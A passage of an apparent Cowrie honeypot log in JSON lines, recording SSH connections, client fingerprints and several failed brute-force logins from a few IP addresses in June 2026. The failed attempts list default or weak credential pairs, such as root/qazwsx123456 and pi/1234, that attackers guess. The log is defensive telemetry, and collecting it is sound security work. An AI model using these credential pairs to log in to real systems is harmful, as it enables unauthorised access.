16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:20.735564Z","src_ip":"45.153.34.195","session":"40a637f55883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"p@ssw0rd","message":"login attempt [deployer/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:21.134836Z","src_ip":"45.153.34.195","session":"40a637f55883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34308,"dst_ip":"10.17.0.5","dst_port":22,"session":"11013bc6549e","protocol":"ssh","message":"New connection: 91.92.40.36:34308 (10.17.0.5:22) [session: 11013bc6549e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:21.195181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:21.284467Z","src_ip":"91.92.40.36","session":"11013bc6549e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:21.295886Z","src_ip":"91.92.40.36","session":"11013bc6549e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:22.216977Z","src_ip":"45.153.34.195","session":"40a637f55883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@@","message":"login attempt [root/@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:22.434307Z","src_ip":"91.92.40.36","session":"11013bc6549e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29216,"dst_ip":"10.17.0.5","dst_port":22,"session":"06268763824a","protocol":"ssh","message":"New connection: 45.153.34.195:29216 (10.17.0.5:22) [session: 06268763824a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:23.733939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:23.738460Z","src_ip":"45.153.34.195","session":"06268763824a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:23.822422Z","src_ip":"45.153.34.195","session":"06268763824a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:23.884330Z","src_ip":"91.92.40.36","session":"11013bc6549e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1234","message":"login attempt [pi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:24.078361Z","src_ip":"45.153.34.195","session":"06268763824a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:25.162491Z","src_ip":"45.153.34.195","session":"06268763824a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29220,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ce2633df2f","protocol":"ssh","message":"New connection: 45.153.34.195:29220 (10.17.0.5:22) [session: 87ce2633df2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:26.753449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:26.759737Z","src_ip":"45.153.34.195","session":"87ce2633df2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:26.848330Z","src_ip":"45.153.34.195","session":"87ce2633df2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anton","password":"anton","message":"login attempt [anton/anton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:27.164725Z","src_ip":"45.153.34.195","session":"87ce2633df2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:28.314430Z","src_ip":"45.153.34.195","session":"87ce2633df2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29228,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc79f977bc7","protocol":"ssh","message":"New connection: 45.153.34.195:29228 (10.17.0.5:22) [session: 1bc79f977bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:29.525545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:29.673397Z","src_ip":"45.153.34.195","session":"1bc79f977bc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:29.676612Z","src_ip":"45.153.34.195","session":"1bc79f977bc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"budda279056","message":"login attempt [system/budda279056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:30.094286Z","src_ip":"45.153.34.195","session":"1bc79f977bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:31.178066Z","src_ip":"45.153.34.195","session":"1bc79f977bc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63692,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a729b48140d","protocol":"ssh","message":"New connection: 91.92.40.36:63692 (10.17.0.5:22) [session: 9a729b48140d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:31.498864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:31.831144Z","src_ip":"91.92.40.36","session":"9a729b48140d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48506,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce75fa2f7578","protocol":"ssh","message":"New connection: 45.153.34.195:48506 (10.17.0.5:22) [session: ce75fa2f7578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:32.415465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:32.454470Z","src_ip":"45.153.34.195","session":"ce75fa2f7578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:32.719409Z","src_ip":"45.153.34.195","session":"ce75fa2f7578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:32.978414Z","src_ip":"91.92.40.36","session":"9a729b48140d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123456","message":"login attempt [root/qazwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:33.142770Z","src_ip":"45.153.34.195","session":"ce75fa2f7578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:34.226062Z","src_ip":"45.153.34.195","session":"ce75fa2f7578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63708,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c109c2b9e89","protocol":"ssh","message":"New connection: 91.92.40.36:63708 (10.17.0.5:22) [session: 0c109c2b9e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:35.281605Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48522,"dst_ip":"10.17.0.5","dst_port":22,"session":"6391f4c60936","protocol":"ssh","message":"New connection: 45.153.34.195:48522 (10.17.0.5:22) [session: 6391f4c60936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:35.461119Z"}
{"eventid":"cowrie.session.closed","duration":39.55661416053772,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:35.467202Z","src_ip":"172.81.62.90","session":"865b5c8a6ac5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:35.471464Z","src_ip":"45.153.34.195","session":"6391f4c60936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:35.551611Z","src_ip":"45.153.34.195","session":"6391f4c60936","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:35.934363Z","src_ip":"91.92.40.36","session":"0c109c2b9e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:35.937799Z","src_ip":"91.92.40.36","session":"0c109c2b9e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:36.018634Z","src_ip":"45.153.34.195","session":"6391f4c60936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":60456,"dst_ip":"159.203.135.109","dst_port":22,"session":"88e4b3b56d6b","protocol":"ssh","message":"New connection: 97.74.87.152:60456 (159.203.135.109:22) [session: 88e4b3b56d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:36.799809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:36.804440Z","src_ip":"97.74.87.152","session":"88e4b3b56d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp25